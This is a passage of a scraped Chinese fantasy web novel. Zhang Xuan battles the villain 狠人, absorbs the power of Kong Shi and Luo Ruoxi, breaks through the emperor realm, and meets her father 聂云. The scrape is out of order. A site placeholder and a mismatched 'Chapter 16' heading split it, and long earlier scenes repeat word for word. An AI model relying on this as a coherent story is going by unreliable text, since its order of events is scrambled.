一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第16章 设宴 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 